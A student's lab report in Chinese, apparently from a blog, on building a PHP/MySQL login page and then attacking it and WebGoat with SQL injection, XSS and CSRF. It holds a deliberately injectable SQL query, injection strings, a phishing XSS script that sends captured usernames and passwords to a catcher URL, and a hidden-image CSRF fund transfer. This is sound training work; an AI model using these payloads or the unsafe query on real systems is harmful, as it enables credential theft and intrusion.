20181334张怡杰《网络对抗技术》Exp8 Web综合

1、实践内容

1.1 Web前端HTML

service apache2 start        //启动apache

输入127.0.0.1打开apache默认网页,打开成功则证明开启成功

cd /var/www/html        //进入apache目录
vi simple_form.html        //新建含有表单的html

simple_form.html 内容如下:

<html>
<head>
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
    <h2 align="center">Login</h2>
        <center>
        <form action="login" method="post">
            <input placeholder="E-mail" name="Name" class="user" type="email">
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password">
            <br>
            </br>
            <input type="submit" value="Login">
        </form>
        </center>
</body>
</html>

在浏览器输入/var/www/html/simple_form.html打开网页

一个十分简单的前端html就完成了。

1.2  Web前端javascipt

在刚刚完成的html网页上添加一段JavaScript代码,以完成对用户是否填写邮箱和密码的判断

修改完成后的代码为

<html>
<head>
<title>CryptoTeam</title>
<!-- Meta tag Keywords -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Meta tag Keywords -->
</head>
<body>
<!-- main -->
<!--//header-->
    <h2>登录</h2>
        <form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
            <input placeholder="E-mail" name="Email" class="user" type="email" onfocus="if (this.value=='Your email') this.value='';" />
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
            <br>
            </br>
            <input type="submit" value="登录" onClick="return validateLogin()"/>
        </form>
<!--//main-->
<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.Email.value ;  
        var sPassword = document.form_login.Password.value ;    
        if ((sUserName =="") || (sUserName=="Your email")){  
        alert("user email!");  
        return false ;  
        }
        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("password!");  
        return false ;  
        }  
    }   
</script>  
</body>
</html>

再写一个index.php回显欢迎用户

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['Email'];?></h1>  
</body>
</html>

在浏览器输入localhost/login_test.html打开网页

邮箱格式不对的提示

 

没输入密码的提示

 点击登录回显 欢迎+输入的用户名

一个简单的javascript就完成了。

1.3 Web后端 MySQL基础

systemctl start mysql    //启动sql服务
mysql -u root -p    //默认密码是主机密码  

use mysql        //进入mysql
update user set password=PASSWORD("新密码") where user='root';        //修改密码
flush privileges;        //修改权限
exit        //退出

create database zyj20181334;        //创建数据库
show databases;        //查看存在的数据库
use zyj20181334;        //使用刚刚创建的数据库

create table login (username VARCHAR(20),password VARCHAR(30));    //创建表和行以及约束
insert into login values('20181334@qq.com','20181334');        //插入数据
select * from login;        //查询表中所有数据

grant select,insert,update,delete on zyj20181334(数据库名称).* to zyj@localhost(可以是localhost,也可以是远程登录方式的IP) identified by "user@123";        //创建新用户
exit        //退出
mysql -u zyj -p        //使用新用户登录

1.4 Web后端 编写PHP网页,连接数据库,进行用户认证

 进入/var/www/html目录并新建一个login.php文件

<?php
$uname=$_POST["Email"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "zyj", "user@123", "zyj20181334");
$query_str1="use login;";

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
echo "connection ok!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
    if ($result->num_rows > 0 ){
            echo "<br> {$uname}:Welcome!!! <br> ";
    } 
    else {
        echo "<br> login failed!!!! <br> " ; }
    /* free result set */
    $result->close();
}
$mysqli->close();
?>

并修改login_test.html回连login.php文件

登陆成功

密码出错登录失败

 数据库里不存在的用户登录失败

1.5 最简单的SQL注入,XSS攻击测试

1.5.1 SQL注入

因为之做的是email注册,所以会有是否为email格式的判定,为了实现最简单的SQL注入,这里先改成text。

  • 在用户名栏输入' or 1=1#即可实现最简单的SQL注入

可以看到登录成功,这是因为当输入' or 1=1#,SQL语句就会变成select * from users where username='' or 1=1#' and password='' 。1=1永真,并把后面的内容进行注释,判定直接成功。

1.5.2 XSS攻击

  • 将一张照片放到/var/www/html目录下(我的是1334.jpg)
  • 在用户名输入框输入<img src="1334.jpg" />

1.6 Webgoat的SQL注入、XSS、CSRF攻击

首先配置1.8版本的JDK,在这里下载jdk-8u291-linux-x64.tar.gz,参考这里进行配置

然后在这里下载webgoat-container-7.0.1-war-exec.jar

在虚拟机打开放它的目录,输入java -jar webgoat-container-7.0.1-war-exec.jar进行启动

在浏览器打开http://localhost:8080/WebGoat进入WebGoat登录界面

输入网页下方提供的用户名和密码,进入WebGoat

1.6.1 SQL注入

在左边菜单栏选择Injection Flaws,展开页面中选择LAB: SQL Injection -> String SQL Injection

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。

 

用Nevile登录,密码为hello' or '1' = '1,登录成功

 

可以看到我们使用SQL注入获取了admin的权限

1.6.2 XSS注入

在左边菜单栏选择Cross‐Site Scripting,展开页面中选择Phishing with XSS

  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

输入用户名和密码,可以看到用户名和密码被抓到了

1.6.3 CSRF攻击

在左边菜单栏选择Cross‐Site Scripting,展开页面中选择Cross Site Request Forgery (CSRF)

可以看到页面右边Parameters中的src和menu值,分别为297和900

message框输入

<img src="http://localhost:8080/WebGoat/attack?Screen=297&menu=900&transferFunds=5000" width="1" height="1" />
//以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。

点击提交,可以看到用户名,看不见图片

2. 问答总结

2.1 基础知识问答

2.1.1 什么是表单

表单在网页中主要负责数据采集功能,用来读取用户操作的数据的,表单由三个部分组成:

  • 表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
  • 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
  • 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

2.1.2 浏览器可以解析运行什么语言

HTML、XML及Python、PHP、JavaScript、ASP等等。

2.1.3 WebServer支持哪些动态语言

ASP(ActiveServerPages)、JSP(JavaServerPages)、PHP(HypertextPreprocessor)

2.1.4 防范注入攻击的方法有哪些

 

SQL注入攻击

  • 使用正则表达式过滤传入的参数。

XSS攻击

  • 特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;

CSRF攻击

  • 验证请求中的Token,每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。

2.2 实践总结与体会

本次实验是最后一个实验,也算是顺利完成了,在xss注入那里有个图片因为权限不够没有显示出来,后来才发现是没权限(—_—)!!,实验中涉及简单的html和sql,这俩之前都学过但是没怎么结合在一起连接起来,而且也有点忘了,通过这个简单的sql和html连接,尝试SQL注入攻击,所以写程序的时候要注意这些边界的测试,每次都要记得判定,防止最低级的SQL和XSS注入,为系统安全性添砖加瓦。

posted on 2021-05-24 08:33  20181334张怡杰  阅读(60)  评论(0编辑  收藏  举报